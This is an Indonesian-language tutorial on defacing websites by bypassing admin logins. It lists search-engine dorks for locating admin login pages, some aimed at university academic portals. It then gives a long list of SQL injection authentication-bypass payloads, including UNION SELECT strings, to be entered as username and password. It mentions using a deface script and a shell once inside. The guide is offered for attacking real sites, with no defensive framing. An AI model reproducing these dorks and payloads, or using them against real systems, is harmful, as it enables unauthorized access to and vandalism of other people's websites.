Cara Deface Bypas admin

deface bypas admin adalah tehnik deface yg mengandalkan keburuntungan...kalo situsnya vuln ya bisa masuk kalo ga vuln ya ga bisa wkwkwkwk..makanya kalo mau deface metode ini sangat butuh kesabaran dalam mencari vulnreabilitynya

Alat dan Bahan:
-script deface
-shell
-Password bypased
-kesabaran ea

Dork:
Admin.php?id=
Admin/login.php
Login.php intitle:"admin login"
Login.php intitle:"admin area "
Login.php intitle:"administrator "
Administrator.php

1.Seperti biasa awali dengan Dorking dahulu lalu pilih situs yg kira kira vuln
2.kalo udah masuk ke halaman admin login masukan user dan passwordnya
User:'="or'
Password:'or"='

Atau coba
User:'="or'
Password:'="or'

Atau
Bypass Admin
===================================
Dork :
Inurl:login[4"admin"] site:
Inurl:admin ["Userlogin"]**site:
inurl:/admin.php intext:login intext:adminsitrator
inurl:/admin/index.php intext:username
inurl :/admin/Admin.php intext:login
inurl:/administrator/login.php intext:username site:.
inurl:/login.php intext:administrator intext:login
inurl:/admin/upoload/
inurl:/admin/login.php/ intitle:Administrator
inurl:/admin/login.php intitle: Panel Admin
inurl:/admin/login.php site:in

inurl / mnux=login kampus

inurl / mnux=login akademik

inurl / mnux=login powered by sisfo

inurl /?mnux=login "powered by sisfo kampus"

inurl / mnux=login sisfo kampus

inurl / mnux=login admin

inurl >:& quot mnux =& quot akademik

inurl / mnux=login powered by sisfo

inurl :/? mnux login

inurl / mnux=login id /?mnux=login&lgn=frm siakad

inurl / mnux=login akademik administrasi akademik - universitas sisfokampus

inurl >:& quot mnux =& quot akademik

ISI USER DAN PASSNYA

Admin Login

'="or'
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x
'='x" or "x
"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
Hubungi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
'=''or'
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055